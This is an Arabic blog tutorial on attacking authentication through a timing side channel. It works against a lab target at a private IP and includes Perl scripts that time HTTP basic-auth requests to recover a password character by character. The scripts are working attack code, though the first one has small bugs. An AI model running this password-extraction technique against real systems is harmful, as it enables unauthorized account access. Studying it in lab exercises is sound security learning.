Attacking authentication

بسم الله الرحمن الرحيم

السلام عليكم ورحمة الله وبركاته

اللهم علمنا ماينفعنا وانفعنا بما علمتنا ياعليم يارحيم

اليوم موضوعي هو مهاجمة التحقق

 بعض التحققات تكون مبينة على اساس المقارنة يعني

ياخذ الكلمة السرية اللي تكتبها واسم المستخدم ويقارنه باللي موجود عنده , وهذا يعتبر خطا في البرمجة ويؤدي لتجاوز التحقق



ولنفرض ان اسم المستخدم هو "محمد" اختراقنا راح يكون على اساس المقارنة وكم راح تاخذ المقارنة من وقت

انا جيت عند اسم المستخدم وكتبت " خ" واضغط انتر

الان عملية التحقق تبدا في الموقع وراح تاخذ العملية وقت احنا اختراقنا راح يكون على الاساس هذا

نبدا نجرب كل حرف وكم يستغرق وقت للتحقق والحرف اللي ياخذ اكبر وقت هو الحرف الصحيح ...

طبعنا العملية لو بتسويها بيدك راح تاخذ وقت كثير ولذلك نلجأ الى الله ثم البيرل

الموضع يحتاج له شوية خلفية في البيرل

بسم الله نبدا...

  اول شي

#/usr/bin/perl
use Time::HiRes qw(gettimeofday);

الان اول سطر هو لاستخدام البيرل

السطر الثاني مكتبه فيها دالة نحسب بها الووقت

use LWP::UserAgent; 


هذي مكتبه عشان نقدر نرسل طلبات الاتصال

@a = (a..z,A..Z,1..9);
foreach $a (@a){


الان نعرف مصفوفة راح يكون فيها الاحرف كلها مع الارقام

ونبدا لووب في المصفوفة عشان نجرب الحروف والارقام الموجودة في المصفوفة اللي هي السطر الثاني

$time = gettimeofday;
$req = HTTP::Request->new(GET => 'http://172.16.39.128/authentication/example2/');
$req->authorization_basic ('hacker',"a");
$res = $ua->request($req)->code;
$time2 = gettimeofday;
print  $time2 - $time . " => " . $res . " => $a\n" ;
if($res  == 200){

print "PINGO...\n";
exit;
}



}


الان قبل مانبدا كل شي راح ناخذ الوقت ونسنده للمتغير time

ونبدا نكون الاتصال ونجرب الاحرف اللي في المصفوفة حقتنا

واخر شي نحسب الوقت ونشوف

تعالو نجرب الكود ونشوف ايش يصير


اممممم ...

نشوف حرف p ماخذ وقت كثير وهذا يدل انّه اول حرف

الان نرجع نعدل على الكود ونضيف اول حرف p ونخليه يسوي لوب مره ثانية

#/usr/bin/perl -w
use Time::HiRes qw(gettimeofday tv_interval);
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
@a = (a..z,A..Z,1..9);
foreach $a (@a){

$time = gettimeofday;
$req = HTTP::Request->new(GET => 'http://172.16.39.128/authentication/example2/');
$req->authorization_basic ('hacker',"p$a");
$res = $ua->request($req)->code;
$time2 = gettimeofday;
print  $time2 - $time . " => " . $res . " => $a\n" ;
if($res  == 200){

print "PINGO...\n";
exit;
}



}


ونرجع نشغل الكود مره ثانية





مثل مانتوا شايفين رقم 4 اخذ وقت اكثر من غيره

ونرجع نضيفه ونشغل الكود مره ثانية

حتى نصل للباسوورد المطلوب


تم بحمد الله

تعليقات

المشاركات الشائعة من هذه المدونة

CRLF injection [\r\n Carriage Return]

Study in Nosql-Injection-Mongodb